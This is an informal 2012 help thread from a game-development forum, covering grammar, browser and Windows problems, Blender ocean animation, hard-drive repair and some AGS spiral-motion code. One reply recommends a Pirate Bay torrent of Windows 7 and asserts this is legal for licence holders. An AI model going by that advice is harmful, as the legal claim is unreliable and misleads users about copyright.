Wax - http://www.debugmode.com/wax/
cinefx - http://sourceforge.net/projects/cinefx/
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Thu 19/07/2012 22:46:51
What is "Geronimo!" ? :)
EDIT: Whoops sorry, nevermind, found this out.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Thu 02/08/2012 19:23:35
I remember year ago there was thread about correct english lanuage, but it's no longer active, so I thought I'd ask here.

There's something not really important perhaps, but still bugs me.
What would be correct way to name a program function that returns number of things - is it GetItemCount or GetItemsCount?
Same about naming a thing that is related to multiple objects: ManagedObjectPool or ManagedObjectsPool?
Title: Re: Ask something - We can help.
Post by: Oliwerko on Thu 02/08/2012 19:59:33
As far as I know, singular has to be used because the first word (i.e. item/object) is a convert from a noun to an adjective and thus has to be singular.
Title: Re: Ask something - We can help.
Post by: selmiak on Fri 03/08/2012 00:10:28
could also be a definition thing. GetItemCount when you are going through the inventory and add item to item. GetItemsCount when the player has 15 coins and you count the number of coins, so, many items that are actually the same item. Or maybe I'm talking bullcrap here :D
For the latter plural sounds better as pool already implies there are many in there.
Title: Re: Ask something - We can help.
Post by: Gilbert on Fri 03/08/2012 02:31:08
Also, you may include the s as the English text could be "Get Item's Count" or "Get Items' Count", so I think both spellings of the function, with or without the s, are grammatically correct.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Fri 03/08/2012 08:13:04
Okay, I see. Though I hoped there would be one correct option, so I wouldn't bother to make a choice myself :).
Title: Re: Ask something - We can help.
Post by: nihilyst on Fri 03/08/2012 19:05:12
Two days ago, from one day to to another, my Google Chrome started to have a problem with running any sorts of flash streams (audio and video). For example, when I start a youtube video, there's the image, but no sound, and after exactly 11 seconds, the image freezes. When I jump in the video's timeline, the video starts again (still without sound), and, after 11 seconds, passes out again. Audio streams like built-in mp3 flash players on webpages or services like soundcloud etc. don't work at all. Funny thing is that I didn't change anything at all, no new programs, no deinstallations, hell, I didn't even restart my computer. It worked one evening, I went to bed, and the next day, it did this.

Things I've done so far:
- Tried it in Firefox -> everything works, but as I want to use Chrome, that doesn't help me much
- Fiddled with the Flash player's "hardware acceleration" options -> didn't do shit
- Rebooted -> nope
- Reinstalled the Adobe flash player plugin -> it seems that Chrome has it's own built-in player, since the deinstallation didn't affect the browser at all (unlike to Firefox which then complained about not having the needed plugin installed)
- Reinstalled Chrome -> didn't work

Is anyone else encounting such problems? Might someone have a solution for this problem? Thanks :D

EDIT: Solved. I just deactivated the built-in flash plugin. Seems that was the little bastard.
Title: Re: Ask something - We can help.
Post by: KodiakBehr on Sat 04/08/2012 21:44:50
Okay, when playing Cart Life, I noticed that the distant background was always fixed in position while the foreground buildings, etc, moved with the character.  How the heck did he do that?
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Sat 04/08/2012 22:06:17
Quote from: KodiakBehr on Sat 04/08/2012 21:44:50
Okay, when playing Cart Life, I noticed that the distant background was always fixed in position while the foreground buildings, etc, moved with the character.  How the heck did he do that?
Dunno how Cart Life's author did that, but there are two (relatively) simple options.
1) compose background of room objects and always update "distant" object's coordinates so that it is placed at same position relative to viewport.
2) draw on background surface.
Depending on your game it might be optimal to choose either first or second. Or combine both.
By the way, I find this question belongs to Advanced Technical forum.
Also check Parallax Scrolling module, I think it allows to do what you ask about a bit easier: http://www.adventuregamestudio.co.uk/yabb/index.php?topic=33142.0
Title: Re: Ask something - We can help.
Post by: Nikolas on Sun 05/08/2012 11:51:28
first of all thanks for the previous replies about video software.

Another question, which perhaps one can reply...

Is anyone experienced with kindle and the format(s) it's using? Anyone knows a lot (or enough) about EPUB or AZW or KF8 or MOBI?

If so let me know and we can take this privately (this is for a commercial project, so I can't say anything else in public, sorry)...
Title: Re: Ask something - We can help.
Post by: Anian on Sun 05/08/2012 22:21:16
Quote from: Nikolas on Sun 05/08/2012 11:51:28
first of all thanks for the previous replies about video software.

Another question, which perhaps one can reply...

Is anyone experienced with kindle and the format(s) it's using? Anyone knows a lot (or enough) about EPUB or AZW or KF8 or MOBI?

If so let me know and we can take this privately (this is for a commercial project, so I can't say anything else in public, sorry)...
Well azw is amazon cloud format, so that would be it, mobi and epub do quite well as far as I've seen, thing is you'd want something that transfers well to other formats, but Kindle basically reads everything, just check the meta data type stuff like menus and page numbers etc. stay well ordered. As long as you have a pdf and maybe one other format, people can transfer it I think.
Cradle is my software for organizing and uploading books to Kindle, it can also transfer between almost all formats, try some things and you'll see the differences between
http://www.freewaregenius.com/the-big-list-of-free-kindle-tools/

And that's about all I can say about that.
Title: Re: Ask something - We can help.
Post by: Nikolas on Sun 05/08/2012 22:36:01
I would have no problem with a normal PDF, but I think that it doesn't support DRM (and I need that currently), so I'm forced to look at other formats, plus I think that amazon itself prefers KF8 over MOBI or EPUB (sadly so)...

Thanks anian for the reply
Title: Re: Ask something - We can help.
Post by: Mati256 on Mon 06/08/2012 23:49:18
I'm not a native English speaker and have been always confused with the expression "He was (something)... or was he?"
Can somebody explain this?
Thank you.
Title: Re: Ask something - We can help.
Post by: KodiakBehr on Tue 07/08/2012 03:21:41
While this is acceptable in English, it is considered poor structure, grammatically.  The second clause states that there is exists doubt about the definitive statement of the first clause, implying that the first clause was not definitive at all.

For example, "He was a fish....or was he?"

Means there exists doubt as to whether or not he was a fish.
Title: Re: Ask something - We can help.
Post by: Oliwerko on Tue 07/08/2012 09:46:29
Yeah. The grammatically correct way to say would be "He was a fish, wasn't he?"
Title: Re: Ask something - We can help.
Post by: Mati256 on Tue 07/08/2012 16:24:35
Thank you both. That was exactly what I was asking.
I knew what KodiakBehr explained, but I didn't knew why it was used like that.
Title: Re: Ask something - We can help.
Post by: Eric on Tue 14/08/2012 02:19:52
I don't know that grammar enters into the conversation. I find this sentence structure used most often in a narrative where the narrator wants to imply something to the audience without directly stating it, a sort of half dramatic irony. The tension between the two clauses creates suspense as the audience waits for the narrator to confirm what they've hinted. Such as:

"With the bomb finally disarmed, the room was safe to enter...or was it?"

The implication is that for the people of the story, the room seems safe to enter, but the narrator knows something they don't -- it might not be -- and is imparting that knowledge to the audience.

In the case of your example, you might hear the following in a news report on a serial killer:

"He was president of the PTA, a church deacon, a former high school football stand-out with a bright clean smile and an Ivy League degree. He was, for all intents and purposes, a model citizen...or was he?"
Title: Re: Ask something - We can help.
Post by: Snarky on Tue 14/08/2012 13:02:44
Yeah, there's nothing wrong with the sentence grammatically speaking. Any objections are stylistic. Some people might think this construction is overused or just sounds silly, or they might associate it with people they look down on (e.g. teenagers, journalists). But it's not nearly as faddish as the sarcastic "Not!" (e.g. "You look great. Not!") that was popular a few years ago.

As Eric sort of hints, Oliwerko's version actually means something quite different. "... Or was it?" implies that the speaker knows but isn't telling (for now); "wasn't it?" indicates that the speaker doesn't know for sure.
Title: Re: Ask something - We can help.
Post by: SinSin on Tue 14/08/2012 13:48:42
Hello folks.
         recently I have started dabbling with web design and have taken it upon myself to learn HTML5. Everythings going quite well although I do have one question . I am currently using Notepad++ but can anyone recommend another stand alone HTML editor which is free and has a WYSIWYG kinda layout. I only ask for free ones as Im a beginner and dont want to spend hundreds on programmes like Expression if I cant understand it.
Title: Re: Ask something - We can help.
Post by: Khris on Wed 15/08/2012 01:21:18
[lmgtfy]free wysiwyg html editor[/lmgtfy]

Or are you looking for a specific recommendation?
Title: Re: Ask something - We can help.
Post by: SinSin on Wed 15/08/2012 07:53:49
If you can just have a look at the question I wrote again Khris you will note that I did insert the word "recommend". Now not to come across all harsh n stuff but is it any wonder that some people may feel that they cannot ask questions around here without having a belittling answer thrown straight in their face.. Seriously Iv lurked on these forums since 2005 and all I wanted was a recommendation and I get a not to witty smack down WTF has happened to this place ??
Title: Re: Ask something - We can help.
Post by: abstauber on Wed 15/08/2012 08:15:36
Well, you're already using a great tool. The rest depends on what you're doing - going for some javascript or maybe php? Then you might want an IDE.

Eclipse based IDEs:
http://www.aptana.com/ (good for javascript / web 2.0 stuff)
http://www.eclipse.org/proposals/php-ide/ (obviously php ;) )

Editors:
Beside Notepad++, there's also :
jEdit, which needs a few plugins to be usable for html
http://www.jedit.org/

This one is also pretty nice:
http://www.activestate.com/komodo-edit

In general I'd try to stay away from visual editors like Frontpage or Dreamweaver clones. But if you insist, you might find Kompozer useful
http://kompozer.net/index.php
Title: Re: Ask something - We can help.
Post by: Khris on Wed 15/08/2012 08:20:45
Sinsin:
Sorry, but I did consider the possibility that you're looking for a specific recommendation, if YOU will read MY post again.
Also, sometimes people just ask really dumb questions. If you think that a belittling answers is never ok, let's agree to disagree.

I use Notepad++ myself and I absolutely love it. That and Firefox, Firebug and F5 are really all I need.
Title: Re: Ask something - We can help.
Post by: SinSin on Wed 15/08/2012 08:32:20
Thankyou peeps.
       Like I say I'm not being shitty or owt just thought that I have seen loads of questions from trolls and other noobs which have fair enough warrented a reply like "RTFM". No beef with no one everyone stay cool.
I will browse these different links when I get home from work TA
Title: Re: Ask something - We can help.
Post by: Tuomas on Tue 21/08/2012 07:42:15
Hello dear forum,

I turn to you again on a stupid question, mainly because it should be obvious but isn't:

I bought a Dell laptop with a Windows 7 in it, which it installed immediately at startup, and set my location to Germany by default, since that's where I bought it.

I can't change my location, and this makes stuff like googling hell (I can't find any English or Finnish sites).

I heard I'd have to install Windows again anew, but I didn't get an install CD. I'm asking if you knew where I could find a bootable one. Windows 7 lets me return to the last functioning point and set to factory defaults, but all these points are *after* the installation, and what I need is a thorough format.

The MS site offers a solution if I have the CD, but doesn't say how to get it. So if anyone had an .iso or at least an idea or something. It seems all the threads I can find are at least a year old and offer no answers...
Title: Re: Ask something - We can help.
Post by: SinSin on Tue 21/08/2012 10:49:46
I'm sure you can change it without reinstalling. Try this

Click the circle window button ( Start.. or whatever they want to call it these days)
Click -- Control Panel
Click -- Clock, Language, Region
Click -- Region, Language
Go to Location Tab
Change Location etc.
Click Apply

DONE!! I hope 
Title: Re: Ask something - We can help.
Post by: Khris on Tue 21/08/2012 10:56:21
Just get the iso as torrent; since you paid for the license, getting the CD is just a formality and shouldn't be illegal. Here's one: link (http://thepiratebay.se/torrent/7249899/Windows_7_Home_Premium_OEM)
Then get the Windows 7 USB tool (http://www.microsoftstore.com/store/msstore/html/pbPage.Help_Win7_usbdvd_dwnTool) to create a bootable thumbdrive so you don't have to burn it.
Title: Re: Ask something - We can help.
Post by: abstauber on Tue 21/08/2012 15:26:19
No need for a torrent, you can legally download the windows 7 isos from here
http://www.chip.de/artikel/Windows-7-Neu-installieren-mit-kostenlosem-ISO-2_46353200.html
Title: Re: Ask something - We can help.
Post by: Tuomas on Wed 22/08/2012 12:02:24
Thanks a bunch guys.

Sinsin: I am aware of such option, and it's already set for Finland, which is where I am, but it stills thinks I'm German and want to browse German sites. Sigh, I can't even open English versions of the Microsoft sites because my computer thinks I'm German, and won't give me an option.
Title: Re: Ask something - We can help.
Post by: abstauber on Wed 22/08/2012 18:23:08
You're sure that this isn't a browser setting? In Firefox you can decide which language version of a website you prefer and I bet that this option is in IE as well.
Title: Re: Ask something - We can help.
Post by: Wyz on Thu 23/08/2012 13:56:39
I don't know if it is what you are looking for but there is actually a way to get rid of the location in the google search engine.
Just visit this link: http://www.google.com/ncr
Title: Re: Ask something - We can help.
Post by: Tuomas on Fri 24/08/2012 19:19:50
I know it's not about the browser settings, I've been through them many times, and the same thing occurs with Firefox, Chrome and Opera.

Wyz. This seems to make a difference, although I'd rather that it changed the search into a Finnish one, when now the results are English, not a bad choise though. And the problem is, google's not the only thing thinking I'm German :D
Title: Re: Ask something - We can help.
Post by: Wyz on Sat 25/08/2012 17:07:48
In that case you'll need to do this: Change the system locale (http://windows.microsoft.com/is-IS/windows7/Change-the-system-locale)

More important is that you'll need to set your location there.
Title: Re: Ask something - We can help.
Post by: Snarky on Sun 02/09/2012 14:20:30
I'm looking for a tool to create a high-quality, cartoony looping wave animation with 3D reflections. The ones I've found are only able to do ripples; I want proper, choppy ocean waves. I'm assuming I'll need some kind of 3D app, but some guidance (w/ examples, if possible) would be appreciated.
Title: Re: Ask something - We can help.
Post by: Anian on Sun 02/09/2012 14:56:16
Quote from: Snarky on Sun 02/09/2012 14:20:30
I'm looking for a tool to create a high-quality, cartoony looping wave animation with 3D reflections. The ones I've found are only able to do ripples; I want proper, choppy ocean waves. I'm assuming I'll need some kind of 3D app, but some guidance (w/ examples, if possible) would be appreciated.
It'd be nice if you could give an example of something similar to what you want. You want a beach scene, or like a boat on the waves and realistic textures or cartoony ones?
Try looking through this http://www.cogfilms.com/tutorials/Blender-Seascape-Tutorial.pdf although by your description this is again not what you want. In Blender the thing should be called "Blender Ocean Sim" so find tutorials on that, otherwise it's the Fluid Simulator (but this will take some getting used to). I haven't actually been that much into Blender, so I'm not that familiar with it.

Other than those kind of waves, you'd probably have to go for a simulator of some sort (Cinema4d might have them, Houdini, or look within UDK (Unreal Development Kit), it might have a good renderer for waves and a tutorial). When you get the waves, then get the "cartoony" look with a shader. Most work is otherwise is done with texture animation, so no so much waves, but those ripples you mentioned.
Title: Re: Ask something - We can help.
Post by: Snarky on Sun 02/09/2012 16:11:17
You can see the sort of waves I'm looking for here (http://footage.shutterstock.com/clip-640789-stock-footage-dark-ocean-waves-hd.html). There will be various objects casting light, which is why I want reflections. The cartoony part is less essential, and I can experiment with shaders and filters to get the effect I need.
Title: Re: Ask something - We can help.
Post by: on Tue 04/09/2012 00:46:23
Technology hates me. Anyone familiar with hardware, are you able to tell me what parts A, B and C are on this image of a hard drive?

Basically I plugged it into a faulty extension lead and subsequently this chip (A) inside it blew. I've trawled some threads but it's tiresome, so I'm hoping someone can just tell me straight out what I could otherwise spend 2 hours scrolling through in thread after pc tech thread. It's a Seagate Barracuda 7200 250gb. It still turns on and the light shows it's alive, but it's not spinning, PC won't recognise it, etc etc. Certain online help suggested if this "surge" were to occur then the diode would blow, but it seems that didn't happen on this occasion.

Is this salvagable? Something suggested simply replacing this chip with a bit of soldering, other things suggested it HAS to go into repair and that could cost hundreds. A friend said it's completely unsalvagable. It'd be useful to know. I think I read the largest chip is where all the data is stored, but wasn't able to verify that. I'm glad this external HD lasted me 5 years, gutted it broke this way - and there is some very important stuff on it. It's my backup drive. So now it's time to have a backup and a backup of a backup in the future :P

Pic is a bit blurry, I don't have a very good camera. Many thanks for any help! M

(http://i47.tinypic.com/b9ags5.png)
Title: Re: Ask something - We can help.
Post by: Khris on Tue 04/09/2012 01:31:48
What you can do is find the exact same HDD model and replace the entire circuit board. I did that twice already and it worked fine both times. It's just a few screws and a flat cable, should take a few minutes tops.
They have them on ebay starting at ~35 Euros.
Title: Re: Ask something - We can help.
Post by: Stee on Tue 04/09/2012 01:37:23
The chips normally have a serial number on them. Google it and hope to find a source for the parts.

Those components however are surface mounted, so you would either have to have a machine or an insane amount of soldering skills to replace that chip. That's even if it is that chip that is dead for certain.

Also I was under the impression you could swap the circuit boards on hdd's as long as they are like for like the same model.

If it's all that important to you, I'd just bite the bullet and get a pro to fix it for you. If it's a genuine backup drive and you are backing up properly it should be redundant anyway as long as the original drive is still functional.

Invest in a surge protector too. It's possible that's what killed your last drive too, and it will randomly kill other components in your pc. Seems to be loads of dirty power in the south
Title: Re: Ask something - We can help.
Post by: on Tue 04/09/2012 01:55:37
Thanks for the info guys, I like the idea of getting another one of the same spec and replacing that circuit board, seems easy enough, never thought of that as a possibility :)

Unfortunately the burn mark goes right across the serial number, it's unreadable. Cheers for the ideas!
Title: Re: Ask something - We can help.
Post by: Snarky on Tue 04/09/2012 04:09:04
Quote from: m0ds on Tue 04/09/2012 00:46:23
I think I read the largest chip is where all the data is stored, but wasn't able to verify that.

Well, that bit is certainly not true. Hard disks store the data on magnetic platters (disks), not in chips.
Title: Re: Ask something - We can help.
Post by: Anian on Tue 04/09/2012 11:53:04
Quote from: Snarky on Sun 02/09/2012 16:11:17
You can see the sort of waves I'm looking for here (http://footage.shutterstock.com/clip-640789-stock-footage-dark-ocean-waves-hd.html). There will be various objects casting light, which is why I want reflections. The cartoony part is less essential, and I can experiment with shaders and filters to get the effect I need.
OK, that's not that bad, what you need to look for is animated bump textures or just regular animated textures, because that's basically a plane. The "reflectiveness" comes from the glossiness of the surface. This should be something you'd need: http://www.youtube.com/watch?v=J6e7vn69Vr4
You can even put a boat on it: http://www.youtube.com/watch?v=q23WFVrQ7GI
Title: Re: Ask something - We can help.
Post by: Snarky on Wed 05/09/2012 11:03:12
Thanks Anian. I definitely can't just use a "regular animated texture" (I need the reflections of other objects in the scene to follow the wave geometry), but the videos you link, and other YouTube examples of Blender with and without Ocean Modifier, look promising.

Not having watched the full tutorial yet, I take it there's a relatively straightforward way to create a looping animation using this technique? Googling the question didn't bring up any definite "Yes, here's how you do it and it works fine" answers.
Title: Re: Ask something - We can help.
Post by: Anian on Wed 05/09/2012 13:19:12
Quote from: Snarky on Wed 05/09/2012 11:03:12Not having watched the full tutorial yet, I take it there's a relatively straightforward way to create a looping animation using this technique? Googling the question didn't bring up any definite "Yes, here's how you do it and it works fine" answers.
...well if it's like an island in the sea, then you just make a simulation of say 30 seconds, copy it and reverse it back to front (in reverse) - those 2 parts combined make a 1 minute loop. :grin:
Title: Re: Ask something - We can help.
Post by: Snarky on Wed 05/09/2012 14:08:38
...but then every 30 seconds the animation is going to suddenly reverse, and I have to think that's going to be pretty noticeable.  :-\

Thanks for the help, though!

<--- I'm not actually a Mittens Founder, btw.
Title: Re: Ask something - We can help.
Post by: Eric on Wed 05/09/2012 18:10:55
If you take a closer look at the video you shared, it's kind of doing just that. Those ripples roll to and fro, but they have a separate horizontal movement.
Title: Re: Ask something - We can help.
Post by: Ali on Wed 05/09/2012 22:05:50
Quote from: Snarky on Wed 05/09/2012 11:03:12
Thanks Anian. I definitely can't just use a "regular animated texture" (I need the reflections of other objects in the scene to follow the wave geometry), but the videos you link, and other YouTube examples of Blender with and without Ocean Modifier, look promising.

Not having watched the full tutorial yet, I take it there's a relatively straightforward way to create a looping animation using this technique? Googling the question didn't bring up any definite "Yes, here's how you do it and it works fine" answers.

In the case of that tutorial there is. You set the displacing texture to be controlled by an object, then rotate the object causing the displacement to ripple in a cyclical fashion.

It is much easier to create an ocean effect in newer versions of Blender because of the built-in ocean modifier. Those tutorials are pretty old. However looping doesn't seem possible with the new modifier, unfortunately.

In case you're not used to Blender, here's a quick example: http://ali.agser.me/seademo.blend
The built-in sim is on the right, and the loopable version is on the left. When you see them move, it's clear that the left requires a lot of tweaking to get a good effect.
(http://ali.agser.me/sea.jpg)

EDIT: I mean the cogfilms tutorial is pretty old but loopable. I didn't see Anian's youtube links.
Title: Re: Ask something - We can help.
Post by: OneDollar on Mon 10/09/2012 21:16:39
I've found free software to cover almost everything I want to do with my PC, but I can't find a decent free video editor. There seems to be a few programs for Linux and Mac but not many for Windows. Those that do run on Windows are either unfinished, unstable, low on features or don't support many file formats.

I'd like to be able to have multiple video and audio streams, mask video, speed up/slow down video and audio, and obviously cut video and audio up and move it around. All while being able to preview in realtime. So, you know, not much.

Does anyone know any free software that runs on Windows that would do all that? Or failing that, anything out there that's cheap that people would recommend?
Title: Re: Ask something - We can help.
Post by: Eric on Mon 10/09/2012 23:44:04
Sort of related to the previous question...I'm getting the final component of a new PC tomorrow. What are the essential programs for you guys? Free, paid, shareware (does that phrase even still mean anything?), whatever. What keeps you productive and happy? What would you load on a new computer?
Title: Re: Ask something - We can help.
Post by: Ali on Mon 10/09/2012 23:55:36
Quote from: OneDollar on Mon 10/09/2012 21:16:39
I've found free software to cover almost everything I want to do with my PC, but I can't find a decent free video editor. There seems to be a few programs for Linux and Mac but not many for Windows. Those that do run on Windows are either unfinished, unstable, low on features or don't support many file formats.

I'd like to be able to have multiple video and audio streams, mask video, speed up/slow down video and audio, and obviously cut video and audio up and move it around. All while being able to preview in realtime. So, you know, not much.

Does anyone know any free software that runs on Windows that would do all that? Or failing that, anything out there that's cheap that people would recommend?

I think Lightworks is one to watch: http://www.lwks.com/

It's been around for years, but the open source version is still in the early stages. I haven't tried the latest release, however the last version suffered from a bad case of 'Unique Working Method'. If you've used Avid you will be OK, if you've used Premier or Final Cut (or any normal computer programs) it will take some getting used to. Blender had the same problem when I started using it, but has become much more accessible, so I hope Lightworks will achieve something similar in time.
Title: Re: Ask something - We can help.
Post by: Anian on Thu 13/09/2012 16:52:19
A weird question that kind of bugs me and I don't even know how I'd look up such a thing:
is there like an unnamed class of people that co-write books with authors, and by books I mean stuff like fantasy or sf book series (stuff like Song of fire and ice, Stephen Kinds works etc.)? I'm not trying to say those people are hacks or anything it's just that the size of the books just seems like too much for 1 person, to write 600 pages in 6 or such months. And plus there's a lot of editing to be done (not only does it have to be edited but read a few times as well and I doubt you can speed read through books and edit them at the same time) on top of that, I'm sure books get rewritten in this process more than a few times, plus printing and distribution, all that takes time and it just seem weird to me people can write that fast and make it coherent.
There are ghost writers that help write biographies, but that's for people who are not writers themselves, and I know there are writer's assistants who help with continuity and such, but still I think it's not far fetched to think there are people who co-write.
Title: Re: Ask something - We can help.
Post by: Eric on Thu 13/09/2012 17:51:40
I'd say what you're describing is a ghost writer, which is any situation where work was contributed by an uncredited author. Sometimes they work from outlines that the author provides. Sometimes, they can be brought in for specific elements, like polishing a draft, or writing descriptions of place that the author might then go back and adjust stylistically. Sometimes -- I don't know about Martin, but certainly Tom Clancy and most of the major mystery writers -- a ghost writer will write the whole damn book with little input from the author, but publish under the author's name to take advantage of the brand. Editors for major authors also do a lot more behind the scenes than the public gives them credit for.
Title: Re: Ask something - We can help.
Post by: InCreator on Sat 22/09/2012 13:16:01
Okay, I need some programming/math help again:

Circular/spiral motion

I want something to move along circle, or even better, a spiral that moves in a direction and gets smaller.
Imagine smoke clouds or fallen leaves in a wind, as they roll and make smaller and smaller circles as they move away.
Can anyone help me with some pseudocode as what formula would change X and Y of the smoke/leaf/whatever to get such motion?

Since it's pretty clear that trigonometric function (sin/tan/etc) lies in this problem somewhere, I'm at loss.

Epic mspaint to illustrate:
(http://i.imgur.com/AURty.png)

Spiral as described would be awesome but I guess I could work circle (with variable-adjusted radius) to become spiral also.
Title: Re: Ask something - We can help.
Post by: Khris on Sat 22/09/2012 16:46:21
Code:
Code (ags) Select
int t;
float r;

float fx(int tp) {
  float ft = IntToFloat(tp);
  return ft/5.0 + Maths.Sin(Maths.DegreesToRadians(ft))*r;
}

float fy(int tp) {
  float ft = IntToFloat(tp);
  return 100.0 + Maths.Cos(Maths.DegreesToRadians(ft))*r;
}

bool first = true;
int old_x, old_y;

function room_RepExec()
{
  DrawingSurface* ds = Room.GetDrawingSurfaceForBackground();
  ds.DrawingColor = 16;
  r = 50.0 - IntToFloat(t)/50.0;
  int x = FloatToInt(fx(t), eRoundNearest);
  int y = FloatToInt(fy(t), eRoundNearest);
  if (first) {
    first = false;
    ds.DrawPixel(x, y);
  }
  else ds.DrawLine(old_x, old_y, x, y);
  ds.Release();
  t += 3;
  old_x = x;
  old_y = y;
}


Result:
[imgzoom]http://i.imgur.com/nZrBV.png[/imgzoom]
Title: Re: Ask something - We can help.
Post by: InCreator on Sat 22/09/2012 18:03:49
Thanks mate, I can use this :)

E: Boy, AGS sure makes simple things look complicated. Here's how I do this in Game Maker (adjusted for looks and minus line drawing)
No defining functions, anything

ft+= 4;
t+= 9;
r = 50 - t/50;
xoff =  round(100 + sin(degtorad(ft))*r);
yoff =  round(100 + cos(degtorad(ft))*r);
x = mouse_x + xoff;
y = mouse_y + yoff;
Title: Re: Ask something - We can help.
Post by: Khris on Sun 23/09/2012 19:59:01
It's not that much more complicated, I just created the coordinate functions separately to show the math involved.
Title: Re: Ask something - We can help.
Post by: Nikolas on Tue 02/10/2012 21:16:47
Say...

I'm looking to start creating newsletter for the publishing house. WEBSITE LINK HERE (http://www.musica-ferrum.com)

Two questions:

1. I'm almost in love with the general graphics of the site and the logo and all. I think the website works great. So it's reasonable to want to use a template that's very close to that, right? Or should I strive away from this aesthetic?

2. After searching for quite some time for a newsletter template, I couldn't find one that fits the bill, nor one that is so customisable that I can input my own images completely. Tried a few sites. How difficult is it for someone to create a mockup of a newsletter in PS (I don't know photoshop, and have rather limited knowledge of gimp) and/or create the first newsletter as some kind of a template that I can edit later on with new text and images? Am I asking too much, or taking the difficult route home?

Cheers
Title: Re: Ask something - We can help.
Post by: OG on Wed 03/10/2012 02:02:20
Hi Nikolas

The website looks quite good, the web designer may want to consider formatting the text on the composer pages a bit differently though. Something a bit tidier?

1. It's reasonable. Just remember that less is more. And as far as newsletters are concerned, as I am sure you will know, try and find an even mix of image and text. Otherwise you'll just end up with a less than interesting jumble of words or a lot of nice pictures with what can appear like a lacking of content.

2. My advice would be to get a copy of Adobe Indesign (or a portable version). It's the best in the business for things like that. It allows you to set your page size, margins, text/ picture columns and once you figure out your typical layout it's easy then to just go in and edit it for the next edition etc... Allows for good consistency. Doing it in Photoshop would be a terrible idea.
Title: Re: Ask something - We can help.
Post by: hzibadel on Sun 07/10/2012 07:04:16
Hello everyone, i am just starting AGS but i really wanna play the game that is shown on the front page of AGS site where the download button is there, is seems so cool, please let me know the name of game

thanks
Title: Re: Ask something - We can help.
Post by: on Fri 12/10/2012 14:20:27
If someone has a moment to check, can sound recorder in Vista/Win 7 be made to record at a sample rate higher than 96kbps and to formats other than .WAV ? I have XP & the old version, so I'm not sure, but am trying to find out on someones behalf. Many thanks :)
Title: Re: Ask something - We can help.
Post by: Anian on Fri 12/10/2012 15:01:18
Quote from: m0ds on Fri 12/10/2012 14:20:27
If someone has a moment to check, can sound recorder in Vista/Win 7 be made to record at a sample rate higher than 96kbps and to formats other than .WAV ? I have XP & the old version, so I'm not sure, but am trying to find out on someones behalf. Many thanks :)
In W7 it's .wma 96kbps. It basically has 1 button to operate.
Title: Re: Ask something - We can help.
Post by: on Sat 13/10/2012 11:24:37
Thanks Anian! Silly poop. Oh well, I've sent the person in question a free audio app.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sun 14/10/2012 03:45:26
Quote from: m0ds on Tue 04/09/2012 00:46:23
[..] Pic is a bit blurry, I don't have a very good camera. [..]

(http://i47.tinypic.com/b9ags5.png)
This is a little outdated but I want to bring this up in case this were the issue. I know of a lot of people who take photos in low light with their digital cameras and it turns out as blurry as this. Most people in this situation don't know that they have to press the capture button halfway down until it auto-focuses on something (turning on the auto-focus light if there is one), then you fully press it.

But you're pretty tech savvy with filming and such so it's likely not the case, I just thought I'd mention it (because I've never had a photo that blurry unless I've not done what I've mentioned - even with my very first digital camera like 10 years ago or more - which was a giant piece of garbage).
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sun 14/10/2012 04:30:58
That is not a lens blur, its a motion blur.

In low light the shutter has to be open longer to receive more light which means its more vulnerable to the shake of a persons hand. Its not the lens being out of focus.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sun 14/10/2012 06:06:10
Of course. I'm not a camera guru but I've had my share of low light motion blurring like this only when i don't press down on the capture button half way to allow it to focus and determine light levels and the other funky stuff it does.
Title: Re: Ask something - We can help.
Post by: Eric on Sun 14/10/2012 07:44:28
Quote from: Calin Leafshade on Sun 14/10/2012 04:30:58
That is not a lens blur, its a motion blur.

In which case, I find it's beneficial to prop an elbow on something while taking the picture. Cheap monopod.
Title: Re: Ask something - We can help.
Post by: cat on Sun 14/10/2012 08:28:54
Or put the camera on a shelf or table and use the self-timer.
Title: Re: Ask something - We can help.
Post by: selmiak on Sun 14/10/2012 13:12:40
I actually kind of like the blurryness in the picture, it seems to give it some more meaning and expression! Especially the hard contrast with the unmoving sharp letters that are also in a contrasting color. It's like the whole world is explained in this picture, like everything is moving and in a hurry and there are only very few constants in life!
Title: Re: Ask something - We can help.
Post by: on Sun 14/10/2012 14:02:06
Haha, interesting point Ryan! It's the same digital camera I've had for 12 years. Not a lot of it works anymore, especially the flash ;) Also where I point the lens is not what it takes the picture of, so the blur is my handshake and also trying to guess what I'm taking a photo of, because the LCD preview screen doesn't work either. It's basically a pile of crap and the photo reflects that perfectly..!! I really really need to buy a new digi cam :P
Title: Re: Ask something - We can help.
Post by: Mati256 on Tue 23/10/2012 01:18:08
Once again, I came to you to explain me something.
I have to pay something with an electronic invoice sent by email.
The thing is, this is my first time with electronic invoices. How do I pay them? ???
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Sat 27/10/2012 16:18:17
Awww, that's pretty silly.
Can someone tell me, where can I download AGS 2.62, or, at least 2.62 manual?
I need to know how certain things worked before object-oriented methods were introduced.
Title: Re: Ask something - We can help.
Post by: nihilyst on Sat 27/10/2012 16:59:45
Is this okay? (http://www.longwayhome.de/zeug/ags.chm)
I think it’s the 2.62 manual.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Sat 27/10/2012 17:15:58
Quote from: nihilyst on Sat 27/10/2012 16:59:45
Is this okay? (http://www.longwayhome.de/zeug/ags.chm)
I think it’s the 2.62 manual.
Yes, thank you.
Title: Re: Ask something - We can help.
Post by: selmiak on Sat 27/10/2012 23:55:23
in case you still want the full AGS version, the maniac mansion mania wiki (http://wiki.maniac-mansion-mania.de/wiki/AGS) has a lot of different versions archived :)
(scroll down to downloads)
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Sun 28/10/2012 01:06:36
0_0 I wished I knew that before. Thank you too!
Title: Re: Ask something - We can help.
Post by: Domino on Tue 30/10/2012 22:14:17
http://www.circuitcity.com/applications/searchtools/item-details.asp?EdpNo=1164992&SRCCODE=CCLET14ORDER&cm_mmc=Email-_-WebletMain-_-CCLET14ORDER-_-order

I have had this computer for over a year now. Recently when I go to power it on I get one short beep, followed by a long beep. I have read this as bad memory but i tried another memory stick and it still beeps at me. Some days the computer will not start and keeps beeping at me, and other times after about 20 minutes of powering on and off it will start right up like normal.

When it finally boots up, the computer runs like there is no problem. But if i try to start it up the next day i get the same beeps. I am really confused at what is going on, and why it won't work for hours then finally work.

